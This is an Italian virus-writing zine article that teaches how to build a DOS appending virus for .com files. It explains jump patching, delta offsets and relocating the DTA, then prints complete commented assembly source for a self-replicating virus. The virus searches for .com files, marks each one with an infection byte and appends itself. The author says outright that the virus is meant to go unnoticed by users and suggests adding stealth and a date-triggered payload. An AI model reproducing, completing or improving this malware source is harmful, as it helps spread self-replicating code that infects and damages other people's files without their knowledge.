L'infezione di files .com

myskull.ren (40695 bytes)

 

Un semplice overwriting virus l'abbiamo già conosciuto nella zine scorsa.Come avrete notato il principio di un tale virus e molto semplice, le sue possibili azioni sono assai limitate e non è neanche difficile a programmarne uno.Lo scopo di un overwriting virus è, intenzionato o no, la distruzione di dati.La cosa importante da capire quando si sta iniziando ed imparando è di non fermarsi restando a questo livello di virus, visto che il principio di ogni virus è quello di sopravvivere il più lungo possibile.Ciò significa che è indispensabile avanzare di livello.Dobbiamo cercare di nascondere il nostro virus in quanto sia possibile farlo con la nostra conoscienza dell'assembly.Per ora non tratterò nessuna tattica di stealth oppure simile, ma ci dedichiamo a quello che viene dopo l'overwriting virus, l'appending virus.Una volta che l'overwriting avrà scritto il suo codice, l'unica cosa che verrà eseguita è il codice virale, quindi addirittura l'utente lo nota immediatamente. L'appending virus, il principo l'abbiamo già discusso nella prima REN - ZINE, è, paragonato all'overwriting virus, più soffisticato e molto più "intelligente". L'appending virus, lo dice già il nome, si appende al file e cambia solamente qualche byte all'inizio del file, in modo che quando verrà eseguito, prima di tutto il jump farà continuare l'esecuzione alla fine del file, dove si trova il virus, e poi ritorna all'inizio del file, continuando con il file vero e proprio.Così il programma non sarà cancellato ne modificato, quindi l'utente non se ne accorgerà che il file è stato infettato.L'unica cosa che potrebbe notare è che l'esecuzione potrebbe essere un pochino più lenta, visto che prima deve essere eseguito il virus.Poichè il virus si appende, la grandezza del file aumenterà, cosa che spesso gli anti-virus sfruttano per controllare i files.Anche per questo comunque ci sono delle soluzioni, che però per ora sarebbere troppo complicate.

Ma che cosa significa tutto ciò per la programmazione in assembly ? Bene, il codice che salva gli attributi, l'ora e simile resta sempre lo stesso, non cambia assolutamente nulla.Però dobbiamo far attenzione a qualche cosettina.Come già detto, il virus modifica qualche byte all'inizio.Spesso si parla di 3 bytes che sono da salvare, e questi 3 bytes corrispondono al jump, cioè il jump che che salta al codice virale alla fine del file occupa 3 bytes.Dopo l'infezione vogliamo che il programma verrà eseguito normalmente, quindi dobbiamo ripristinare i primi 3 bytes, altrimenti il tutto non funzionerà.Ma dobbiamo tener conto anche altri di fattori molto importanti.Quando avremo compilato il nostro file .com, i jumps e le call saranno relativi all'instruction pointer attuale, mentre le variabili veranno salvate usando un indirizzo assoluto.Questo significa che un jump che lo facciamo saltare una certa quantità di bytes in avanti, lo farà in qualunque parte indipendentemente dalla sua posizione.Invece per i nostri dati, se sono stati salvati in un certo posto nella memoria, verrà cercato nella sua posizione originale. Quindi quando vogliamo ridare il controllo al file originale, usando allora indirizzi sbagliati, potrebbe succedere che modifichiamo codice del programma originale, ciò che vogliamo assolutamente evitare.Un'altra cosa importante è il DTA, che sta per Disk Transfer Address.Nel DTA sono contenuti maggiormente dati che riguardano l'I/O, ma la cosa da capire è che si trova all'indirizzo identico del PSP (Program Segment Prefix) dove sono salvati i parametri della riga di comando.Se continuiamo a programmare senza pensare al DTA, anche facendo una semplicissma operazione, i dati della riga di comando verrano persi.L'unica soluzione è quella di spostare il DTA, e infine ripristinarlo di nuovo quando ritorniamo al programma originale.

Ora vediamo cosa ciò significa per la nostra programmazione.Iniziamo con il codice per salvare i primi 3 bytes

mov ah,3fh ; funzione 3fh legge dal file

mov cx,3 ; la quantità di bytes da leggere

mov dx, Primi3_bytes ; ecco che li salviamo in dx

int 21h ; esegue ciò

Per ritornare al programma originale basta un semplice

mov di,100h ; l'offset d'inizio del file com

jmp di ; e quindi ci andiamo

Ecco quanto riguarda il discorso del delta offset:

call delta_offset

delta_offset : pop bp

sub bp,offset delta ; Risolviamo il problema chiamando una subroutine, salvando l'offset del prossimo comando nello stack,sottraendo quindi  il vecchio offset dopo la call e salvando il risultato in bp.

Adesso invece esaminiamo il DTA

Offset                      Funzione                    Grandezza

0000h                     Riservato                    21 bytes

0015h                     Attributi- files                 1 byte

0016h                     Ora - files                       2 bytes

0018h                     Data - files                     2 bytes

001Ah                     Grandezza-file                4 bytes

001Eh                     Nome del file                13 bytes

Come vedete sarebbe fatale non spostare il DTA cancellando questi dati molto importanti.L'indirizzo del DTA è l'offset 80h e lo si può salvare usando la funzione 1Ah dell'interrupt 21h.

lea dx,[fine+bp ] ; spostiamo il DTA alla fine del nostro virus

mov ah,1ah ;  la funzione che rende possibile farlo

int 21h ; lo eseguiamo

 

Quello che segue è un semplicissimo esempio di un appending virus che,pur nella sua semplicità, almeno non distrugge il file originale, così che l'utente non se ne renderà conto dell'infezione quando eseguirà un file .com

.model tiny ; il modello usato (un solo segmento)

.code ; ecco che diamo l'ordine di creare un code segment

radix 16 ; con quest'opzione possiamo lasciar via le "h" per i numeri esadecimali

org 100 ; l'inizio del com file

inizio : jmp continua ; l'abbiamo spiegato il perchè del jump

db "R" ; questo sarà il nostro byte d'identificazione che troveremo in ogni file infettato dal nostro virus

int 20 ; ed usciamo

continua: call delta_offset ; quindi il discorso del delta offset

delta_offset: pop bp

sub bp,offset delta_offset ; ora sapiamo cosa significa tutto ciò

salva_bytes: lea si,[offset bytes_originali+bp ] ; ora inizia il codice per salvare i bytes

mov di,0100 ; ovviamente all'inizio, cioè l'offset 0100h

movsw ; mov string (word)

movsw

push cs ; salviamo cs

pop ds ; e lo ripristiniamo in ds

lea dx, [indirizzo_dta+bp] ; ora spostiamo il DTA alla fine del virus

mov ah,1a ; la funzione che permette ciò

int 21 ; ecco fatto

mov byte ptr [num_infezioni+bp],0 ; azzeriamo il contatore delle infezioni

mov ah,4e ; trova il primo file

lea dx, [offset tipo_file+bp] ; che corrisponde a tipo_file,quindi un file .com

controlla : cmp byte ptr [num_infezioni+bp],X; qui dobbiamo inserire quanti files vogliamo infettare ad ogni esecuzione

je ripristina_dta ; se abbiamo finito possiamo iniziare la fase di uscita ripristinando per prima cosa il DTA

int 21

jc ripristina_dta; se non ce ne sono files vai direttamente a ripristinare il DTA

call apri ; altrimenti continuiamo ad aprire il file

prossimo_file: mov ah,4f ; trova il prossimo file

jmp controlla ; ed la stessa cosa continua da capo

ripristina_dta: mov ah,1a  ; la famosa funzione che ci permette di settare il DTA

mov dx,80 ; come sappiamo il DTA si trova all'offset 80h

int 21 ; e lo eseguiamo

mov di,0100 ; ed ora il codice che restituisce il controllo al programma originale

push di

ret

apri: lea dx, [indirizzo_dta+1e+bp] ; usiamo pure direttamene indirizzo_dta, che essendo un label alla posizione giusta (fine del virus) può essere ancora utile

mov ax,3d02 ; funzione per aprire il file

int 21 ; lo facciamo

jnc infetta ; se va tutto bene andiamo ad infettarlo

ret ; altrimenti ritorniamo indietro

infetta: xchg bx,ax ; carichiamo il nome del file in bx

mov cx,0004 ; quantità di bytes da leggere

mov ah,3f ; funzione dell'interrupt 21h per leggere dal file

lea dx,[bytes_originali+bp]

int 21 ; la eseguiamo

cmp byte ptr [bytes_originali+3+bp],"R" ; controlla se il quarto byte corrisponde ad una "R", quindi se il file è già stato infettato

jz chiudi ; se fosse così possiamo andarcene

mov ax,4202 ; setta la posizione del file (alla fine)

xor cx,cx ; azzeriamo cx

xor dx,dx

int 21 ; fatto

mov ax,4000 ; scriverà i nostri dati

mov cx,0004 ; quantità di bytes da scrivere

lea dx,[bytes_jump+bp] ; carichiamo i bytes necessari per il jump

int 21 ; e con questo abbiamo inserito il jump verso il codice virale all'inizio del file originale

inc byte ptr [num_infezioni+bp] ; incrementa il contatore delle infezioni visto che questo corrisponde ad un infezione riuscita

mov ax,4202 ; ci ritroviamo alla fine del file

xor cx,cx

xor dx,dx ; azzeriamo i registri

int 21

mov ah,40 ; funzione 40h che scrive sul file

mov cx,(indirizzo_dta - continua) ; la quantità da scrivere nel file, quindi il virus

lea dx, [continua+bp]; l'inizio

int 21 ; il codice quindi viene eseguito

chiudi: mov ah,3e ; funzione 3e che chiude il file

int 21 ; chiude il file

ret

bytes_originali: db 00,00,00,00 ; qui verrano salvati i 4 bytes

bytes_jump : db 0e9,03,00,"R" ; ecco il jump in valori esadecimali

num_infezioni : db 0 ; per il contatore delle infezioni

tipo_file: db "*.co*",0 ; il tipo di file da infettare, quindi i files .com

indirizzo_dta label ; viene usato solamente come punto di riferimento

end inizio ; la fine del nostro virus

 

Come già detto,questo è un esempio molto semplice.Comunque credo che si possano imparare le cose più importanti.Per essere un virus che potrebbe sopravvivere nel mondo DOS un pochino più a lungo ci mancano parecchie cose. Per esempio il virus non controlla nemmeno se si tratta di un file com vero, cioè non controlla se è presente la signature MZ del formato exe,oppure non salva e ripristina attributi,data,ora e soprattutto non ha alcune capabilità di stealth, e si noterà subito l'incremento della grandezza dei files.Però ovviamente tutto ciò e anche un sacco di altre cose si possono aggiungere, come anche un payload decente, che si attiva ad una certa data per esempio.Comunque sia, ritengo che questo sia già un buon passa in avanti, paragonato con l'overwriting virus, che non può assolutamente concorrere in nessun caso neanche con il più semplice appending virus.

 

Indice - VAI